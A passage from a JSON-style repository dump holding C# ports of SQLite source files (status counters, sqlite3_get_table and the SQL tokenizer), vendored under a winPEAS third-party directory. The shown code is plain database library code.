wsdStat.mxValue[op] = wsdStat.nowValue[op];\n      }\n    }\n\n    /*\n    ** Set the value of a status to X.\n    */\n    static void sqlite3StatusSet( int op, int X )\n    {\n      wsdStatInit();\n      Debug.Assert( op >= 0 && op < ArraySize( wsdStat.nowValue ) );\n      wsdStat.nowValue[op] = X;\n      if ( wsdStat.nowValue[op] > wsdStat.mxValue[op] )\n      {\n        wsdStat.mxValue[op] = wsdStat.nowValue[op];\n      }\n    }\n\n    /*\n    ** Query status information.\n    **\n    ** This implementation assumes that reading or writing an aligned\n    ** 32-bit integer is an atomic operation.  If that assumption is not true,\n    ** then this routine is not threadsafe.\n    */\n    static int sqlite3_status( int op, ref int pCurrent, ref int pHighwater, int resetFlag )\n    {\n      wsdStatInit();\n      if ( op < 0 || op >= ArraySize( wsdStat.nowValue ) )\n      {\n        return SQLITE_MISUSE;\n      }\n      pCurrent = wsdStat.nowValue[op];\n      pHighwater = wsdStat.mxValue[op];\n      if ( resetFlag != 0 )\n      {\n        wsdStat.mxValue[op] = wsdStat.nowValue[op];\n      }\n      return SQLITE_OK;\n    }\n    /*\n    ** Query status information for a single database connection\n    */\n    int sqlite3_db_status(\n    sqlite3 db,          /* The database connection whose status is desired */\n    int op,              /* Status verb */\n    ref int pCurrent,    /* Write current value here */\n    ref int pHighwater,  /* Write high-water mark here */\n    int resetFlag        /* Reset high-water mark if true */\n    )\n    {\n      switch ( op )\n      {\n        case SQLITE_DBSTATUS_LOOKASIDE_USED:\n          {\n            pCurrent = db.lookaside.nOut;\n            pHighwater = db.lookaside.mxOut;\n            if ( resetFlag != 0 )\n            {\n              db.lookaside.mxOut = db.lookaside.nOut;\n            }\n            break;\n          }\n        default:\n          {\n            return SQLITE_ERROR;\n          }\n      }\n      return SQLITE_OK;\n    }\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/table_c.cs",
    "content": "namespace winPEAS._3rdParty.SQLite.src\n{\n  public partial class CSSQLite\n  {\n    /*\n    ** 2001 September 15\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** This file contains the sqlite3_get_table() and //sqlite3_free_table()\n    ** interface routines.  These are just wrappers around the main\n    ** interface routine of sqlite3_exec().\n    **\n    ** These routines are in a separate files so that they will not be linked\n    ** if they are not used.\n    **\n    ** $Id: table.c,v 1.39 2009/01/19 20:49:10 drh Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#include \"sqliteInt.h\"\n    //#include <stdlib.h>\n    //#include <string.h>\n\n#if !SQLITE_OMIT_GET_TABLE\n\n/*\n** This structure is used to pass data from sqlite3_get_table() through\n** to the callback function is uses to build the result.\n*/\nclass TabResult {\npublic string[] azResult;\npublic string zErrMsg;\npublic int nResult;\npublic int nAlloc;\npublic int nRow;\npublic int nColumn;\npublic int nData;\npublic int rc;\n};\n\n/*\n** This routine is called once for each row in the result table.  Its job\n** is to fill in the TabResult structure appropriately, allocating new\n** memory as necessary.\n*/\npublic static int sqlite3_get_table_cb( object pArg, i64 nCol, object Oargv, object Ocolv )\n{\nstring[] argv = (string[])Oargv;\nstring[]colv = (string[])Ocolv;\nTabResult p = (TabResult)pArg;\nint need;\nint i;\nstring z;\n\n/* Make sure there is enough space in p.azResult to hold everything\n** we need to remember from this invocation of the callback.\n*/\nif( p.nRow==0 && argv!=null ){\nneed = (int)nCol*2;\n}else{\nneed = (int)nCol;\n}\nif( p.nData + need >= p.nAlloc ){\nstring[] azNew;\np.nAlloc = p.nAlloc*2 + need + 1;\nazNew = new string[p.nAlloc];//sqlite3_realloc( p.azResult, sizeof(char*)*p.nAlloc );\nif( azNew==null ) goto malloc_failed;\np.azResult = azNew;\n}\n\n/* If this is the first row, then generate an extra row containing\n** the names of all columns.\n*/\nif( p.nRow==0 ){\np.nColumn = (int)nCol;\nfor(i=0; i<nCol; i++){\nz = sqlite3_mprintf(\"%s\", colv[i]);\nif( z==null ) goto malloc_failed;\np.azResult[p.nData++ -1] = z;\n}\n}else if( p.nColumn!=nCol ){\n//sqlite3_free(ref p.zErrMsg);\np.zErrMsg = sqlite3_mprintf(\n\"sqlite3_get_table() called with two or more incompatible queries\"\n);\np.rc = SQLITE_ERROR;\nreturn 1;\n}\n\n/* Copy over the row data\n*/\nif( argv!=null ){\nfor(i=0; i<nCol; i++){\nif( argv[i]==null ){\nz = null;\n}else{\nint n = sqlite3Strlen30(argv[i])+1;\n//z = sqlite3_malloc( n );\n//if( z==0 ) goto malloc_failed;\nz= argv[i];//memcpy(z, argv[i], n);\n}\np.azResult[p.nData++ -1] = z;\n}\np.nRow++;\n}\nreturn 0;\n\nmalloc_failed:\np.rc = SQLITE_NOMEM;\nreturn 1;\n}\n\n/*\n** Query the database.  But instead of invoking a callback for each row,\n** malloc() for space to hold the result and return the entire results\n** at the conclusion of the call.\n**\n** The result that is written to ***pazResult is held in memory obtained\n** from malloc().  But the caller cannot free this memory directly.\n** Instead, the entire table should be passed to //sqlite3_free_table() when\n** the calling procedure is finished using it.\n*/\npublic static int sqlite3_get_table(\nsqlite3 db,               /* The database on which the SQL executes */\nstring zSql,              /* The SQL to be executed */\nref string[] pazResult,   /* Write the result table here */\nref int pnRow,            /* Write the number of rows in the result here */\nref int pnColumn,         /* Write the number of columns of result here */\nref string pzErrMsg       /* Write error messages here */\n){\nint rc;\nTabResult res = new TabResult();\n\npazResult = null;\npnColumn = 0;\npnRow = 0;\npzErrMsg = \"\";\nres.zErrMsg = \"\";\nres.nResult = 0;\nres.nRow = 0;\nres.nColumn = 0;\nres.nData = 1;\nres.nAlloc = 20;\nres.rc = SQLITE_OK;\nres.azResult = new string[res.nAlloc];// sqlite3_malloc( sizeof( char* ) * res.nAlloc );\nif( res.azResult==null ){\ndb.errCode = SQLITE_NOMEM;\nreturn SQLITE_NOMEM;\n}\nres.azResult[0] = null;\nrc = sqlite3_exec(db, zSql, (dxCallback) sqlite3_get_table_cb, res, ref pzErrMsg);\n//Debug.Assert( sizeof(res.azResult[0])>= sizeof(res.nData) );\n//res.azResult = SQLITE_INT_TO_PTR( res.nData );\nif( (rc&0xff)==SQLITE_ABORT ){\n//sqlite3_free_table(ref res.azResult[1] );\nif( res.zErrMsg !=\"\"){\nif( pzErrMsg !=null ){\n//sqlite3_free(ref pzErrMsg);\npzErrMsg = sqlite3_mprintf(\"%s\",res.zErrMsg);\n}\n//sqlite3_free(ref res.zErrMsg);\n}\ndb.errCode = res.rc;  /* Assume 32-bit assignment is atomic */\nreturn res.rc;\n}\n//sqlite3_free(ref res.zErrMsg);\nif( rc!=SQLITE_OK ){\n//sqlite3_free_table(ref res.azResult[1]);\nreturn rc;\n}\nif( res.nAlloc>res.nData ){\nstring[] azNew;\nArray.Resize(ref res.azResult, res.nData-1);//sqlite3_realloc( res.azResult, sizeof(char*)*(res.nData+1) );\n//if( azNew==null ){\n//  //sqlite3_free_table(ref res.azResult[1]);\n//  db.errCode = SQLITE_NOMEM;\n//  return SQLITE_NOMEM;\n//}\nres.nAlloc = res.nData+1;\n//res.azResult = azNew;\n}\npazResult = res.azResult;\npnColumn = res.nColumn;\npnRow = res.nRow;\nreturn rc;\n}\n\n/*\n** This routine frees the space the sqlite3_get_table() malloced.\n*/\nstatic void //sqlite3_free_table(\nref string azResult            /* Result returned from from sqlite3_get_table() */\n){\nif( azResult !=null){\nint i, n;\n//azResult--;\n//Debug.Assert( azResult!=0 );\n//n = SQLITE_PTR_TO_INT(azResult[0]);\n//for(i=1; i<n; i++){ if( azResult[i] ) //sqlite3_free(azResult[i]); }\n//sqlite3_free(ref azResult);\n}\n}\n\n#endif //* SQLITE_OMIT_GET_TABLE */\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/tokenize_c.cs",
    "content": "using System.Diagnostics;\nusing System.Text;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  public partial class CSSQLite\n  {\n    /*\n    ** 2001 September 15\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** An tokenizer for SQL\n    **\n    ** This file contains C code that splits an SQL input string up into\n    ** individual tokens and sends those tokens one-by-one over to the\n    ** parser for analysis.\n    **\n    ** $Id: tokenize.c,v 1.163 2009/07/03 22:54:37 drh Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#include \"sqliteInt.h\"\n    //#include <stdlib.h>\n\n    /*\n    ** The charMap() macro maps alphabetic characters into their\n    ** lower-case ASCII equivalent.  On ASCII machines, this is just\n    ** an upper-to-lower case map.  On EBCDIC machines we also need\n    ** to adjust the encoding.  Only alphabetic characters and underscores\n    ** need to be translated.\n    */\n#if SQLITE_ASCII\n    //# define charMap(X) sqlite3UpperToLower[(unsigned char)X]\n#endif\n#if SQLITE_EBCDIC\n//# define charMap(X) ebcdicToAscii[(unsigned char)X]\n//const unsigned char ebcdicToAscii[] = {\n/* 0   1   2   3   4   5   6   7   8   9   A   B   C   D   E   F */\n//   0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  /* 0x */\n//   0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  /* 1x */\n//   0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  /* 2x */\n//   0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  /* 3x */\n//   0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  /* 4x */\n//   0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  /* 5x */\n//   0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0, 95,  0,  0,  /* 6x */\n//   0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  /* 7x */\n//   0, 97, 98, 99,100,101,102,103,104,105,  0,  0,  0,  0,  0,  0,  /* 8x */\n//   0,106,107,108,109,110,111,112,113,114,  0,  0,  0,  0,  0,  0,  /* 9x */\n//   0,  0,115,116,117,118,119,120,121,122,  0,  0,  0,  0,  0,  0,  /* Ax */\n//   0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  /* Bx */\n//   0, 97, 98, 99,100,101,102,103,104,105,  0,  0,  0,  0,  0,  0,  /* Cx */\n//   0,106,107,108,109,110,111,112,113,114,  0,  0,  0,  0,  0,  0,  /* Dx */\n//   0,  0,115,116,117,118,119,120,121,122,  0,  0,  0,  0,  0,  0,  /* Ex */\n//   0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  /* Fx */\n//};\n#endif\n\n    /*\n** The sqlite3KeywordCode function looks up an identifier to determine if\n** it is a keyword.  If it is a keyword, the token code of that keyword is\n** returned.  If the input is not a keyword, TK_ID is returned.\n**\n** The implementation of this routine was generated by a program,\n** mkkeywordhash.h, located in the tool subdirectory of the distribution.\n** The output of the mkkeywordhash.c program is written into a file\n** named keywordhash.h and then included into this source file by\n** the #include below.\n*/\n    //#include \"keywordhash.h\"\n\n\n    /*\n    ** If X is a character that can be used in an identifier then\n    ** IdChar(X) will be true.  Otherwise it is false.\n    **\n    ** For ASCII, any character with the high-order bit set is\n    ** allowed in an identifier.  For 7-bit characters,\n    ** sqlite3IsIdChar[X] must be 1.\n    **\n    ** For EBCDIC, the rules are more complex but have the same\n    ** end result.\n    **\n    ** Ticket #1066.  the SQL standard does not allow '$' in the\n    ** middle of identfiers.  But many SQL implementations do.\n    ** SQLite will allow '$' in identifiers for compatibility.\n    ** But the feature is undocumented.\n    */\n#if SQLITE_ASCII\n    static bool[] sqlite3IsAsciiIdChar = {\n/* x0 x1 x2 x3 x4 x5 x6 x7 x8 x9 xA xB xC xD xE xF */\nfalse, false, false, false, true, false, false, false, false, false, false, false, false, false, false, false,  /* 2x */\ntrue, true, true, true, true, true, true, true, true, true, false, false, false, false, false, false,  /* 3x */\nfalse, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true,  /* 4x */\ntrue, true, true, true, true, true, true, true, true, true, true, false, false, false, false, true,  /* 5x */\nfalse, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true,  /* 6x */\ntrue, true, true, true, true, true, true, true, true, true, true, false, false, false, false, false,  /* 7x */\n};\n    //#define IdChar(C)  (((c=C)&0x80)!=0 || (c>0x1f && sqlite3IsAsciiIdChar[c-0x20]))\n#endif\n#if SQLITE_EBCDIC\n//const char sqlite3IsEbcdicIdChar[] = {\n/* x0 x1 x2 x3 x4 x5 x6 x7 x8 x9 xA xB xC xD xE xF */\n//    0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0,  /* 4x */\n//    0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0,  /* 5x */\n//    0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0,  /* 6x */\n//    0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0,  /* 7x */\n//    0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0,  /* 8x */\n//    0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0,  /* 9x */\n//    1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0,  /* Ax */\n//    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,  /* Bx */\n//    0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1,  /* Cx */\n//    0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1,  /* Dx */\n//    0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1,  /* Ex */\n//    1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0,  /* Fx */\n//};\n//#define IdChar(C)  (((c=C)>=0x42 && sqlite3IsEbcdicIdChar[c-0x40]))\n#endif\n\n\n    /*\n** Return the length of the token that begins at z[0].\n** Store the token type in *tokenType before returning.\n*/\n    static int sqlite3GetToken( string z, int iOffset, ref int tokenType )\n    {\n      int i;\n      byte c = 0;\n      switch ( z[iOffset + 0] )\n      {\n        case ' ':\n        case '\\t':\n        case '\\n':\n        case '\\f':\n        case '\\r':\n          {\n            testcase( z[0] == ' ' );\n            testcase( z[0] == '\\t' );\n            testcase( z[0] == '\\n' );\n            testcase( z[0] == '\\f' );\n            testcase( z[0] == '\\r' );\n            for ( i = 1 ; z.Length > iOffset + i && sqlite3Isspace( z[iOffset + i] ) ; i++ ) { }\n            tokenType = TK_SPACE;\n            return i;\n          }\n        case '-':\n          {\n            if ( z.Length > iOffset + 1 && z[iOffset + 1] == '-' )\n            {\n              for ( i = 2 ; z.Length > iOffset + i && ( c = (byte)z[iOffset + i] ) != 0 && c != '\\n' ; i++ ) { }\n              tokenType = TK_SPACE;\n              return i;\n            }\n            tokenType = TK_MINUS;\n            return 1;\n          }\n        case '(':\n          {\n            tokenType = TK_LP;\n            return 1;\n          }\n        case ')':\n          {\n            tokenType = TK_RP;\n            return 1;\n          }\n        case ';':\n          {\n            tokenType = TK_SEMI;\n            return 1;\n          }\n        case '+':\n          {\n            tokenType = TK_PLUS;\n            return 1;\n          }\n        case '*':\n          {\n            tokenType = TK_STAR;\n            return 1;\n          }\n        case '/':\n          {\n            if ( iOffset + 2 >= z.Length || z[iOffset + 1] != '*' )\n            {\n              tokenType = TK_SLASH;\n              return 1;\n            }\n            for ( i = 3, c = (byte)z[iOffset + 2] ; iOffset + i < z.Length && ( c != '*' || ( z[iOffset + i] != '/' ) && ( c != 0 ) ) ; i++ ) { c = (byte)z[iOffset + i]; }\n            if ( iOffset + i == z.Length ) c = 0;\n            if ( c != 0 ) i++;\n            tokenType = TK_SPACE;\n            return i;\n          }\n        case '%':\n          {\n            tokenType = TK_REM;\n            return 1;\n          }\n        case '=':\n          {\n            tokenType = TK_EQ;\n            return 1 + ( z[iOffset + 1] == '=' ? 1 : 0 );\n          }\n        case '<':\n          {\n            if ( ( c = (byte)z[iOffset + 1] ) == '=' )\n            {\n              tokenType = TK_LE;\n              return 2;\n            }\n            else if ( c == '>' )\n            {\n              tokenType = TK_NE;\n              return 2;\n            }\n            else if ( c == '<' )\n            {\n              tokenType = TK_LSHIFT;\n              return 2;\n            }\n            else\n            {\n              tokenType = TK_LT;\n              return 1;\n            }\n          }\n        case '>':\n          {\n            if ( z.Length > iOffset + 1 && ( c = (byte)z[iOffset + 1] ) == '=' )\n            {\n              tokenType = TK_GE;\n              return 2;\n            }\n            else if ( c == '>' )\n            {\n              tokenType = TK_RSHIFT;\n              return 2;\n            }\n            else\n            {\n              tokenType = TK_GT;\n              return 1;\n            }\n          }\n        case '!':\n          {\n            if ( z[iOffset + 1] != '=' )\n            {\n              tokenType = TK_ILLEGAL;\n              return 2;\n            }\n            else\n            {\n              tokenType = TK_NE;\n              return 2;\n            }\n          }\n        case '|':\n          {\n            if ( z[iOffset + 1] != '|' )\n            {\n              tokenType = TK_BITOR;\n              return 1;\n            }\n            else\n            {\n              tokenType = TK_CONCAT;\n              return 2;\n            }\n          }\n        case ',':\n          {\n            tokenType = TK_COMMA;\n            return 1;\n          }\n        case '&':\n          {\n            tokenType = TK_BITAND;\n            return 1;\n          }\n        case '~':\n          {\n            tokenType = TK_BITNOT;\n            return 1;\n          }\n        case '`':\n        case '\\'':\n        case '\"':\n          {\n            int delim = z[iOffset + 0];\n            testcase( delim == '`' );\n            testcase( delim == '\\'' );\n            testcase( delim == '\"' );\n            for ( i = 1 ; ( iOffset + i ) < z.Length && ( c = (byte)z[iOffset + i] ) != 0 ; i++ )\n            {\n              if ( c == delim )\n              {\n                if ( z.Length > iOffset + i + 1 && z[iOffset + i + 1] == delim )\n                {\n                  i++;\n                }\n                else\n                {\n                  break;\n                }\n              }\n            }\n            if ( ( iOffset + i == z.Length && c != delim ) || z[iOffset + i] != delim )\n            {\n              tokenType = TK_ILLEGAL;\n              return i + 1;\n            }\n            if ( c == '\\'' )\n            {\n              tokenType = TK_STRING;\n              return i + 1;\n            }\n            else if ( c != 0 )\n            {\n              tokenType = TK_ID;\n              return i + 1;\n            }\n            else\n            {\n              tokenType = TK_ILLEGAL;\n              return i;\n            }\n          }\n        case '.':\n          {\n#if !SQLITE_OMIT_FLOATING_POINT\n            if ( !sqlite3Isdigit( z[iOffset + 1] ) )\n#endif\n            {\n              tokenType = TK_DOT;\n              return 1;\n            }\n            /* If the next character is a digit, this is a floating point\n            ** number that begins with \".\".  Fall thru into the next case */\n            goto case '0';\n          }\n        case '0':\n        case '1':\n        case '2':\n        case '3':\n        case '4':\n        case '5':\n        case '6':\n        case '7':\n        case '8':\n        case '9':\n          {\n            testcase( z[0] == '0' ); testcase( z[0] == '1' ); testcase( z[0] == '2' );\n            testcase( z[0] == '3' ); testcase( z[0] == '4' ); testcase( z[0] == '5' );\n            testcase( z[0] == '6' ); testcase( z[0] == '7' ); testcase( z[0] == '8' );\n            testcase( z[0] == '9' );\n            tokenType = TK_INTEGER;\n            for ( i = 0 ; z.Length > iOffset + i && sqlite3Isdigit( z[iOffset + i] ) ; i++ ) { }\n#if !SQLITE_OMIT_FLOATING_POINT\n            if ( z.Length > iOffset + i && z[iOffset + i] == '.' )\n            {\n              i++;\n              while ( z.Length > iOffset + i && sqlite3Isdigit( z[iOffset + i] ) ) { i++; }\n              tokenType = TK_FLOAT;\n            }\n            if ( z.Length > iOffset + i + 1 && ( z[iOffset + i] == 'e' || z[iOffset + i] == 'E' ) &&\n            ( sqlite3Isdigit( z[iOffset + i + 1] )\n            || z.Length > iOffset + i + 2 && ( ( z[iOffset + i + 1] == '+' || z[iOffset + i + 1] == '-' ) && sqlite3Isdigit( z[iOffset + i + 2] ) )\n            )\n            )\n            {\n              i += 2;\n              while ( z.Length > iOffset + i && sqlite3Isdigit( z[iOffset + i] ) ) { i++; }\n              tokenType = TK_FLOAT;\n            }\n#endif\n            while ( z.Length > iOffset + i && ( ( ( c = (byte)z[iOffset + i] ) & 0x80 ) != 0 || ( c > 0x1f && sqlite3IsAsciiIdChar[c - 0x20] ) ) )\n            {// IdChar(z[iOffset+i]) ){\n              tokenType = TK_ILLEGAL;\n              i++;\n            }\n            return i;\n          }\n        case '[':\n          {\n            for ( i = 1, c = (byte)z[iOffset + 0] ; c != ']' && ( iOffset + i ) < z.Length && ( c = (byte)z[iOffset + i] ) != 0 ; i++ ) { }\n            tokenType = c == ']' ? TK_ID : TK_ILLEGAL;\n            return i;\n          }\n        case '?':\n          {\n            tokenType = TK_VARIABLE;\n            for ( i = 1 ; z.Length > iOffset + i && sqlite3Isdigit( z[iOffset + i] ) ; i++ ) { }\n            return i;\n          }\n        case '#':\n          {\n            for ( i = 1 ; z.Length > iOffset + i && sqlite3Isdigit( z[iOffset + i] ) ; i++ ) { }\n            if ( i > 1 )\n            {\n              /* Parameters of the form #NNN (where NNN is a number) are used\n              ** internally by sqlite3NestedParse.  */\n              tokenType = TK_REGISTER;\n              return i;\n            }\n            /* Fall through into the next case if the '#' is not followed by\n            ** a digit. Try to match #AAAA where AAAA is a parameter name. */\n            goto case ':';\n          }\n#if !SQLITE_OMIT_TCL_VARIABLE\n        case '$':\n#endif\n        case '@':  /* For compatibility with MS SQL Server */\n        case ':':\n          {\n            int n = 0;\n            testcase( z[0] == '$' ); testcase( z[0] == '@' ); testcase( z[0] == ':' );\n            tokenType = TK_VARIABLE;\n            for ( i = 1 ; z.Length > iOffset + i && ( c = (byte)z[iOffset + i] ) != 0 ; i++ )\n            {\n              if ( ( ( c & 0x80 ) != 0 || ( c > 0x1f && sqlite3IsAsciiIdChar[c - 0x20] ) ) )\n              {//IdChar(c) ){\n                n++;\n#if !SQLITE_OMIT_TCL_VARIABLE\n              }\n              else if ( c == '(' && n > 0 )\n              {\n                do\n                {\n                  i++;\n                } while ( ( iOffset + i ) < z.Length && ( c = (byte)z[iOffset + i] ) != 0 && !sqlite3Isspace( c ) && c != ')' );\n                if ( c == ')' )\n                {\n                  i++;\n                }\n                else\n                {\n                  tokenType = TK_ILLEGAL;\n                }\n                break;\n              }\n              else if ( c == ':' && z[iOffset + i + 1] == ':' )\n              {\n                i++;\n#endif\n              }\n              else\n              {\n                break;\n              }\n            }\n            if ( n == 0 ) tokenType = TK_ILLEGAL;\n            return i;\n          }\n#if !SQLITE_OMIT_BLOB_LITERAL\n        case 'x':\n        case 'X':\n          {\n            testcase( z[0] == 'x' ); testcase( z[0] == 'X' );\n            if ( z.Length > iOffset + 1 && z[iOffset + 1] == '\\'' )\n            {\n              tokenType = TK_BLOB;\n              for ( i = 2 ; z.Length > iOffset + i && ( c = (byte)z[iOffset + i] ) != 0 && c != '\\'' ; i++ )\n              {\n                if ( !sqlite3Isxdigit( c ) )\n                {\n                  tokenType = TK_ILLEGAL;\n                }\n              }\n              if ( i % 2 != 0 || z.Length == iOffset + i && c != '\\'' ) tokenType = TK_ILLEGAL;\n              if ( c != 0 ) i++;\n              return i;\n            }\n            goto default;\n            /* Otherwise fall through to the next case */\n          }\n#endif\n        default:\n          {\n            if ( !( ( ( c = (byte)z[iOffset + 0] ) & 0x80 ) != 0 || ( c > 0x1f && sqlite3IsAsciiIdChar[c - 0x20] ) ) )\n            {//IdChar(*z) ){\n              break;\n            }\n            for ( i = 1 ; z.Length > iOffset + i && ( ( ( c = (byte)z[iOffset + i] ) & 0x80 ) != 0 || ( c > 0x1f && sqlite3IsAsciiIdChar[c - 0x20] ) ) ; i++ ) { }//IdChar(z[iOffset+i]); i++){}\n            tokenType = keywordCode( z, iOffset, i );\n            return i;\n          }\n      }\n      tokenType = TK_ILLEGAL;\n      return 1;\n    }\n\n    /*\n    ** Run the parser on the given SQL string.  The parser structure is\n    ** passed in.  An SQLITE_ status code is returned.  If an error occurs\n    ** then an and attempt is made to write an error message into\n    ** memory obtained from sqlite3_malloc() and to make pzErrMsg point to that\n    ** error message.\n    */\n    static int sqlite3RunParser( Parse pParse, string zSql, ref string pzErrMsg )\n    {\n      int nErr = 0;                   /* Number of errors encountered */\n      int i;                          /* Loop counter */\n      yyParser pEngine;               /* The LEMON-generated LALR(1) parser */\n      int tokenType = 0;              /* type of the next token */\n      int lastTokenParsed = -1;       /* type of the previous token */\n      byte enableLookaside;           /* Saved value of db->lookaside.bEnabled */\n      sqlite3 db = pParse.db;         /* The database connection */\n      int mxSqlLen;                   /* Max length of an SQL string */\n\n\n      mxSqlLen = db.aLimit[SQLITE_LIMIT_SQL_LENGTH];\n      if ( db.activeVdbeCnt == 0 )\n      {\n        db.u1.isInterrupted = false;\n      }\n      pParse.rc = SQLITE_OK;\n      pParse.zTail = new StringBuilder( zSql );\n      i = 0;\n      Debug.Assert( pzErrMsg != null );\n      pEngine = sqlite3ParserAlloc();//sqlite3ParserAlloc((void*(*)(size_t))sqlite3Malloc);\n      if ( pEngine == null )\n      {\n////        db.mallocFailed = 1;\n        return SQLITE_NOMEM;\n      }\n      Debug.Assert( pParse.pNewTable == null );\n      Debug.Assert( pParse.pNewTrigger == null );\n      Debug.Assert( pParse.nVar == 0 );\n      Debug.Assert( pParse.nVarExpr == 0 );\n      Debug.Assert( pParse.nVarExprAlloc == 0 );\n      Debug.Assert( pParse.apVarExpr == null );\n      enableLookaside = db.lookaside.bEnabled;\n      if ( db.lookaside.pStart != 0 ) db.lookaside.bEnabled = 1;\n      while ( /*  0 == db.mallocFailed && */  i < zSql.Length )\n      {\n        Debug.Assert( i >= 0 );\n        //pParse->sLastToken.z = &zSql[i];\n        pParse.sLastToken.n = sqlite3GetToken( zSql, i, ref tokenType );\n        pParse.sLastToken.z = zSql.Substring( i );\n        i += pParse.sLastToken.n;\n        if ( i > mxSqlLen )\n        {\n          pParse.rc = SQLITE_TOOBIG;\n          break;\n        }\n        switch ( tokenType )\n        {\n          case TK_SPACE:\n            {\n              if ( db.u1.isInterrupted )\n              {\n                sqlite3ErrorMsg( pParse, \"interrupt\" );\n                pParse.rc = SQLITE_INTERRUPT;\n                goto abort_parse;\n              }\n              break;\n            }\n          case TK_ILLEGAL:\n            {\n              //sqlite3DbFree( db, ref pzErrMsg );\n              pzErrMsg = sqlite3MPrintf( db, \"unrecognized token: \\\"%T\\\"\",\n                (object)pParse.sLastToken );\n              nErr++;\n              goto abort_parse;\n            }\n          case TK_SEMI:\n            {\n              //pParse.zTail = new StringBuilder(zSql.Substring( i,zSql.Length-i ));\n              /* Fall thru into the default case */\n              goto default;\n            }\n          default:\n            {\n              sqlite3Parser( pEngine, tokenType, pParse.sLastToken, pParse );\n              lastTokenParsed = tokenType;\n              if ( pParse.rc != SQLITE_OK )\n              {\n                goto abort_parse;\n              }\n              break;\n            }\n        }\n      }\nabort_parse:\n      pParse.zTail = new StringBuilder( zSql.Length <= i ? \"\" : zSql.Substring( i, zSql.Length - i ) );\n      if ( zSql.Length >= i && nErr == 0 && pParse.rc == SQLITE_OK )\n      {\n        if ( lastTokenParsed != TK_SEMI )\n        {\n          sqlite3Parser( pEngine, TK_SEMI, pParse.sLastToken, pParse );\n        }\n        sqlite3Parser( pEngine, 0, pParse.sLastToken, pParse );\n      }\n#if YYTRACKMAXSTACKDEPTH\nsqlite3StatusSet(SQLITE_STATUS_PARSER_STACK,\nsqlite3ParserStackPeak(pEngine)\n);\n#endif //* YYDEBUG */\n      sqlite3ParserFree(pEngine, null);//sqlite3_free );\n      db.lookaside.bEnabled = enableLookaside;\n      //if ( db.mallocFailed != 0 )\n      //{\n      //  pParse.rc = SQLITE_NOMEM;\n      //}\n      if ( pParse.rc != SQLITE_OK && pParse.rc != SQLITE_DONE && pParse.zErrMsg == \"\" )\n      {\n        sqlite3SetString( ref pParse.zErrMsg, db, sqlite3ErrStr( pParse.rc ) );\n      }\n      //assert( pzErrMsg!=0 );\n      if ( pParse.zErrMsg != null )\n      {\n        pzErrMsg = pParse.zErrMsg;\n        pParse.zErrMsg = \"\";\n        nErr++;\n      }\n      if ( pParse.pVdbe != null && pParse.nErr > 0 && pParse.nested == 0 )\n      {\n        sqlite3VdbeDelete( ref pParse.pVdbe );\n        pParse.pVdbe = null;\n      }\n#if !SQLITE_OMIT_SHARED_CACHE\nif ( pParse.nested == 0 )\n{\n//sqlite3DbFree( db, ref pParse.aTableLock );\npParse.aTableLock = null;\npParse.nTableLock = 0;\n}\n#endif\n#if !SQLITE_OMIT_VIRTUALTABLE\n//sqlite3DbFree(db,pParse.apVtabLock);\n#endif\n      if ( !IN_DECLARE_VTAB )\n      {\n        /* If the pParse.declareVtab flag is set, do not delete any table\n        ** structure built up in pParse.pNewTable. The calling code (see vtab.c)\n        ** will take responsibility for freeing the Table structure.\n        */\n        sqlite3DeleteTable( ref pParse.pNewTable );\n      }\n\n#if !SQLITE_OMIT_TRIGGER\n      sqlite3DeleteTrigger( db, ref pParse.pNewTrigger );\n#endif\n      